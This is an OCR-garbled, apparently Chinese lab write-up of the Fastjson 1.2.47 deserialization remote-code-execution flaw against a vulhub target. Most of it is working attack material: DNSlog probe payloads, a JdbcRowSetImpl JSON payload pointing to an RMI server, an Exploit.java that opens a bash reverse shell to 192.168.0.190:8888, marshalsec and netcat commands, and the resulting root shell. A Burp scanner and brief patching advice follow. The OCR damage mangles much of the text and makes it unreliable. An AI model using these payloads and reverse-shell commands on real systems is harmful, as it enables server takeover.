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fastjson
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{"name": {"@type":"java.net.Inetd4Address"”,"val":"dnslog"}}
{"name": {"@type":"java.net.Inet6Address"”,"val":"dnslog"}}
{"name" : {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}


javascript:void(0);

{"name": {"@type":"java.net.URL","val":"dnslog"}}

Request

J Fiaw] Farams ] Headers ] Hex ]

Response

| Raw | Headers | Hex |

POST ° ° ° HTTP/1.1

Host: : .

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:77.0)
Gecko/20100101 Firefox/77.0

Accept: application/jseon. text/plain., #/#

Accept—Language:

zh—CN, zh; g=0. 8, zsh—TW;g=0. 7, zh—HEK ; g=0. 5, en~U5; g=0. 3, en; g=0. 2
Content-Tvpe: application/json
Content-Length: &8

Origin: ° i '
Comnection: close

Referer: L N I
Cookie: CJHATS=00FZFDT7447EF457T4CEEGAOFSGEQN1IAZE

-

{"name”: {"@type”: " java.net. Inetddddress”, "val”: "6s0397. dnslog. c

n'}}

HTTR/1.1 200

Server: nginz/1.16.1

Date: Mon., 22 Jun 2020 08:40:33 GNT
Content—-Tvpe: application/json;charset=UTF-§
Content—-Length: 16

Comnection: close

{"responses”: []}
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| Get SubDomain || Refresh Record

6s039).dnslog.cn
DNS Query Record IP Address Created Time
6s039).dnslog.cn 2020-06-22 16:42:10
6s039.dnslog.cn 2{}20 06-22 16:42:10
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SEANIP: 192.168.0.151
I E#lip: 192.168.0.190
mRAESHATA:

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
https://github.com/ianxtianxt/fastjson-1.2.47-RCE-1
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192.168.0.151:8090/ X

o G © # 192.168.0.151:8090

JSON  JFeesdE 2k

HF =& =mfrE AR v 0= JS0N
age: 25
name : "Bob"
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El c:\Users\Administrator\Deskto pi\fastjson-1.2.47-RCE-1-master\Exploit.java - Sublime Text (UNREGISTERED) -

File Edit Selection Find View Goto Tools Project Preferences Help

4p Exploit.java

"/bin/bash -c $@|bash ©® echo bash -i >&/dev/tcp,192.168.0.190/8888 0>&1");

e, printst 1'|~[r ||-'{},

void main(5tring argv){
Exploit e Exploit();

% SeraphZ £ N;Hik

{ERjavacimiXExploitjavaX {4, ZEExploit.class3Zf4
ERHN LEFERMIFIWebIRSB HFF AT

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.0.190/#Exploit 9999
python3 -m http.server 80 //Exploit.classfFH®xXT
nc -lvvp 8888

-master

pvthan -m http.server 86 % Serqphﬁx S
bEFUlﬂE HTTP on :: port 808 (http://[::]:88/) .




C:\Users\Administrator

A nc.exe -lvp 8888
listening on [anyfRegemehzems

[EEBHLAIEpPOC

"name" :{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

s

"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.190:9999/Exploit",
"autoCommit":true

}



J Raw} Params | Headers | Hex |

J Raw} Headers | Hex | HTML | Render |

POST / HITP/1.1

Host: 182, 168. 0. 151 8080

User—Agent: Mozilla/5.0 (Windews NT A.
Gecko/Z20100101 Firefox/18.0

Locept:

text/htnl, application/zhtml+znl. applicatieon/=nl; q=0. 9, /* g=0, 8

2, WOW&s4; 18,00

Accept-Language:

Lecept—Encodin
Comnection: cl
Content—Type:

Content-Length:

zh—cn, zh; g=0. &, en—us;g=0. 5, en; g=0. 3

HTTP/1.1 400
Content—-Type:

text/htnl ; charset=I50-8855-1

g. gzip. deflate
oze
application/ json

263

Content—-Lanpguage: zh-CH

Content-Length: 424

Date: Mon. 22 Jun 2020 09:31:11 GMT
Commection: close

<html>*<body><hl>Whitelabel Error Fage</hl:

application has no explicit mapping for ferror,

are seeing this as a fallback. </p><div
Jun 22 09:31:11 UTC 2020</dive<div

unexpected error (tyvpe=Bad Request,

prThis

=0 vou

id=" created’ Mon
*There was an

L

{ status=400). </div:<div>JS0N parse error: set property
"name”: { error, autoCommit; nested exception is
"@type”: " java. lang. Class”, com. alibaba. fast json. JS0NException: set property
“val”: "com. sun. rowset. JdbhcRowSetInpl” error, auteCemmit</div:<{ body:< html>
b
"=
"@type”: "com. sun. rowset. JdbhcRowSetImpl”,
"dataSourcelame”: "rmi: /192, 168, 0. 190: 9999/Exploit”,
u S . a s s .1
} autoCommit”: true M ~ Sarann '-T,-‘ ".-— I,,FFJ LE'_J.
1

\Administrator\Desktop\fastjson-1.2.47-RCE-1-master

A java -cp marahalaec—ﬁ.B.;—bNAPbHDT—all.JaP marshalsec.jndi.RMIRefServer http://192.168.0.190/#Exploit
* Opening JRMP listener on 9999

Have connection from /192.168.6.151:51178

Reading message...

Is RMI.lookup call for Exploit 2

Sending remote classloading stub targeting http://192.168.0.198/Exploit.class
Closing connection
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P L0z 58shell

A python3 -m http.server

Serving HTTP on :: port 8@ (http: ::]:8 .
. ffff:192.168.0.151 - - [22/Jun/ 17 2] "GET _..-"E;a;pl.:it.c% Seraph & 2ilhis

A nc.exe -lvp 8888
listening on [any] 8888 ...
192.168.08.151: inverse host lookup failed: h_errno 11084: NO_DATA
connect to [192.168.0.199] from (UNKMNOWN) [192.168.6.151] 41184: NO_DATA
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c69f7eb7cf31: /# whoami
whoami
root
root@c69f7eb7cf31:/# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1808
link/loopback 80:00: P:00 brd 09:00:00:00:00:00
inet 127.0.08.1/8 scope t lo
valid 1+t forever preferred_lft forever
: eth@@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 gdisc noqueue state UP group default
link/ether 82:42:ac: 33:02 brd ff:ff:ff:ff:Ff:Ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth® - .
valid 1ft forever preferred_lft forever ?O Seraphﬂz%ﬂﬂ:ﬂiﬂﬁ
root@c69f7eb7cf31: /# '

https://github.com/uknowsec/BurpSuite-Extender-fastjson
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nmit" :true

newBody self._helpers.stringT s (newBodyPayload)

._helpers.buildHttpp (request header, newBody)
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ERTDNET BERF - ERRRLNERERETE-

'+] o o o o o S o o S o S S U U U U

L Tt et ettt e ‘-
[+] Fastjson Scan F
[+] Suthor: JFLAEA

[+] Email: admin@winlcl. com

[+] Elog: https: /fwww. wInlck. con
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SerapnZ e |H g

Ha FEEMMLE, XIPOSTiEK, Econtent-Typeimapplication/json

i Lel5]

B | 5 [+l | i | s [ +75u0l | HL | Rener
FOST / HITE/1.1 & HITE/1.1 400
Hest: 192.1 0,191 8090 ¥ -8858-1
User-Agent 1a/5.0 (Findows HT 10.0: Winfd 20100101 Firefox/77.0
Accept fhtal. applicats tmltznl, appl bp, #/% . q=0. 8
Accept-Language: zhr zh:g=0. &, 2h—TV. q=0, I H 08 36: 36 GMI
Accept-Encoding gzip. deflate Comection close
Comnection: close
Upgrade-Insecurs-Requests. 1 htelsbodyr kil Whitelsbel Error Page /hl’p Thiz spplication haz no explicit mapping for [ervor,
Cache! Tol: max-ag a0 wu are seeing this as a fallback. /po_ _ id="created ~Tue Jun 23 08:36: 37 IJl‘(I
Content-Type: applica 2020/ div:There was an unespected er e dad, Koyt m.—.nf A ,‘:ea—.\, «d
Content=Length- 0 reqn:st ho:hr s missing: public java. lamp. ! IA" I r] ra .-"

org. vulhub. fast jsondemo. JSONController. setUsv.brg. wlhnb Iagljamﬁlelo Usuri .lrdl hody .l"ll al

AU ELBMEFRHF KX T payload



Filter:

Host:

Accept:

User-Agent:
*f
Content-Type: application/json
Content-Length:
Commection:

close

182, 168. 0. 191: 8080
curl/7.55.1

22-1. 2. 47-. r02vpy. ceye. io/Exploit”, "autoCommit”: true}}|

o ey s P T
1) oeraAn=s

# |Complete | TA | 73 | E40 | BATIE | Query | #7 | Response |
1 &) Proxy POST http://192.168.0.191:5... / 400 229

2 &) Extender POST http://192.168.0.191:8... / 400 233

3 (&} Pro POST http://192.168.0.191:8... / 400 229

]

5 &) Extender POST http://192.168.0.191:5... / 400 233

6 &) Extender POST http://192.168.0.191:8... / 400 233

7 [} Proxy GET https://safebrowsing.g... Ad/threatListUpdates-fetch Sct=application/x-protobufikey=AlzaS... 200 1211

8 (&} Extender GET https://safebrowsing.g... Ad/threatListUpdates:fetch $ct=application/x-protobuf&key=AlzaS... 400 1855

9 ] Extender GET https://safebrowsing.g... Ad/threatlistUpdatesfetch Sct=application/x-protobuf&key=AlzaS_.. 400 1555

10 (&} Proxy GET https://api.shodan.io fdns/resolve key=MM72AkzHXdHpCBIPESVVEEVL... 200 34

" [} Extender GET https://api.shodan.io fdns/resaolve key=MM72AkzHXdHpCBIPESVVEEVL)... 200 34

12 (&} Proxy GET https://api.shodan.io fdns/resolve key=MM72AkzHXdHpCBIPESVVEEVL... 200 45

13 [} Proxy GET https://api.shodan.io fdns/resaolve key=MM72AkzHXdHpCBIPESVVEEVL)... 200 45

41_‘& n [ TP ~rT leddim o F b e Wi e BB [ SO S JRPSEN T SR Y PSSP Y. U SIS . S -0 Ann A

B | 241 | % | +7881 | JSON Beautifier | U2C
POST / HITP/1.1 D 1

{"a": {"@type”: "java. lang.Class", "val”: "com. sun. rowset. JdbcRowSetImpl”}, "b": {"@type”: "com. sun. rowset. JdbcRowSetInpl”, "dataScourcelName”: "rmi: //86h1
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dnslogF&aRINEITRES

67231440

67231443

ceye.io

Remote Addr

Created At (UTC+0)

2020-06-23 08:36:39
2020-06-23 0836 39
2020-06-23 08:36:29

2020-06-23 08:36:38

2020-06-2




=1 fastjsan versian:1.2.24
-1 playload: {"b": ["@type’: “con. sun. rowset. JdhcRowSet Tnpl”. “dataSourcelame”: “rmi: //ddb306-1. 2. 24-. r02vpy. ceve. io/Explait”. “autcCommit’ truel]

Class™, "val”™: "com, sun. rowset. JdbeRovSerIapl™). "b": {"@type”: "con. sun. rowset, JdbeRowSetlnpl®, “dataSourceNane” “rmi: //df6ffe-1. 2 4T-. r02vpy. ceve. 1o/BExploit”, "autcConn

1. BiNfERBI=-=HwebM AP RFA CZiFi=E b #HfastjsonRFEFIA iz BT RREFIR;
2. BiWERItE =R ZEPDPURESHESI=EMEfastjson RFFIUEEZEABRTRREFIB;
SEFEMAEARSE, BEE400-007-0908K &ZiXMB{FZEcontact@antiratech.com.cn;

3. BiNARIERRHIRfastjson,i¥iSHEE:

https://github.com/alibaba/fastjson;




